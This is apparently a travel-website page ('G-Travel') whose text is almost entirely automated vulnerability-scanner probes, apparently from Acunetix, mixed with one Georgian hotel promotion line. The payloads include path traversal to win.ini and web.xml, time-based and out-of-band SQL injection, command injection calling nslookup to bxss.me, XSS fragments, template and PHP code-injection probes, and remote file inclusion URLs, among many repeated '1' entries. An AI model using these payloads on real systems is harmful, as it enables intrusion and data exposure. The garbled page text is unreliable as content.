G-Travel

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

................windowswin.ini

................windowswin.ini

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

$/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini$

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

$unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.$

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.

WEB-INF/web.xml

WEB-INF/web.xml

$WEB-INF\web.xml$

WEB-INF\web.xml

$$(nslookup dns.ce.\014465.25-1277.25.1155a.\1.bxss.me)$

$(nslookup dns.ce.\014465.25-1277.25.1155a.\1.bxss.me)

$&nslookup dns.ce.\014465.25-1279.25.1155a.\1.bxss.me&'\$

&nslookup dns.ce.\014465.25-1279.25.1155a.\1.bxss.me&'\"`0&nslookup dns.ce.\014465.25-1279.25.1155a.\1.bxss.me&`'

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

-1 OR 2+160-160-1=0+0+0+1 --

-1 OR 2+160-160-1=0+0+0+1 --

-1 OR 2+802-802-1=0+0+0+1

-1 OR 2+802-802-1=0+0+0+1

-1' OR 2+724-724-1=0+0+0+1 --

-1' OR 2+724-724-1=0+0+0+1 --

-1' OR 2+799-799-1=0+0+0+1 or '9h2Os7B7'='

-1' OR 2+799-799-1=0+0+0+1 or '9h2Os7B7'='

-1" OR 2+779-779-1=0+0+0+1 --

if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'

if(now()=sysdate(),sleep(6),0)/'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"/

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'

(select(0)from(select(sleep(6)))v)/'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"/

1</script><svg/onload='+/

">

1

-1; waitfor delay '0:0:6' --

-1; waitfor delay '0:0:6' --

-1); waitfor delay '0:0:9' --

-1); waitfor delay '0:0:9' --

1 waitfor delay '0:0:9' --

1 waitfor delay '0:0:9' --

JvQWOZPt'; waitfor delay '0:0:9' --

JvQWOZPt'; waitfor delay '0:0:9' --

-1;select pg_sleep(9); --

-1;select pg_sleep(9); --

-1);select pg_sleep(9); --

-1);select pg_sleep(9); --

-1));select pg_sleep(9); --

-1));select pg_sleep(9); --

9wZZWTpF';select pg_sleep(3); --

9wZZWTpF';select pg_sleep(3); --

scA1B2Qi');select pg_sleep(3); --

scA1B2Qi');select pg_sleep(3); --

siLAzvp7'));select pg_sleep(3); --

siLAzvp7'));select pg_sleep(3); --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1||UTL_INADDR.get_host_address('dns.'||'sqli.014465.25-1297.25.1155a.1.bxss'||'.me')

1||UTL_INADDR.get_host_address('dns.'||'sqli.014465.25-1297.25.1155a.1.bxss'||'.me')

1

${9999608+9999153}

${9999608+9999153}

1

1

1

1

1

1

1

1

1

1

1

1

1'>">აქცია სასტუმროს ჯავშნებზე 1 ნოემბრამდე!
-->

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

'||UTL_INADDR.get_host_address('dns.'||'sqli.014465.25-1311.25.1155a.1.bxss'||'.me')||'

'||UTL_INADDR.get_host_address('dns.'||'sqli.014465.25-1311.25.1155a.1.bxss'||'.me')||'

1

1

1

1

1

1

1

1

1

1

$1;copy (select '') to program 'nslookup dns.sqli.\014465.25-1316.25.1155a.\1.bxss.me'$

1;copy (select '') to program 'nslookup dns.sqli.\014465.25-1316.25.1155a.\1.bxss.me'

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1some_inexistent_file_with_long_name%00.jpg

1some_inexistent_file_with_long_name%00.jpg

Http://testasp.vulnweb.com/t/fit.txt

Http://testasp.vulnweb.com/t/fit.txt

http://testasp.vulnweb.com/t/fit.txt%3F.jpg

http://testasp.vulnweb.com/t/fit.txt%3F.jpg

testasp.vulnweb.com

testasp.vulnweb.com

1

1

1

1

1

1

$1';copy (select '') to program 'nslookup dns.sqli.\014465.25-1323.25.1155a.\1.bxss.me$

1';copy (select '') to program 'nslookup dns.sqli.\014465.25-1323.25.1155a.\1.bxss.me

893'

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

)

!(()&&!|||

^(#$!@#$)(()))******

^(#$!@#$)(()))******

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

;print(md5(acunetix_wvs_security_test));

;print(md5(acunetix_wvs_security_test));

';print(md5(acunetix_wvs_security_test));$a='

';print(md5(acunetix_wvs_security_test));$a='

1

";print(md5(acunetix_wvs_security_test));$a="

1

$${@print(md5(acunetix_wvs_security_test))}$

${@print(md5(acunetix_wvs_security_test))}

1

$${@print(md5(acunetix_wvs_security_test))}\$

${@print(md5(acunetix_wvs_security_test))}\

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

http://testasp.vulnweb.com/t/xss.html?%00.jpg

http://testasp.vulnweb.com/t/xss.html?%00.jpg

1

1

1

1

1

1

1

1

1

1

1

1

1

http://hit30PnxTAvYa.bxss.me/

http://hit30PnxTAvYa.bxss.me/

1

1

1

1

1

1

1

1

1

1

1'"

\

1

1

@@UYmwS

JyI=

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

">

1'"()&%

19413293

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

acu7653%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7653

acu7653%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7653

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

acux4391%C0%BEz1%C0%BCz2a%90bcxuca4391

acux4391%C0%BEz1%C0%BCz2a%90bcxuca4391

1

1

1

1

1

CWS%07%0e000x%9c=%8d1N%c3%40%10E%df%ae%8d%bdI%08)%d3%40%1d%a0%a2%05%09%11%89HiP

%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%89T%c2">

CWS%07%0e000x%9c=%8d1N%c3%40%10E%df%ae%8d%bdI%08)%d3%40%1d%a0%a2%05%09%11%89HiP"%05D%8bF%8e%0bG%26%1b%d9%8e%117%a0%a2%dc%82%8a%1br%04X;!S%8c%fe%cc%9b%f9%ff%aa%cb7Jq%af%7f%ed%f2.%f8%01>%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%89T%c2

{{10000059*9999970}}

{{10000059*9999970}}

1

1

')">

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

')">

1

')">

1

1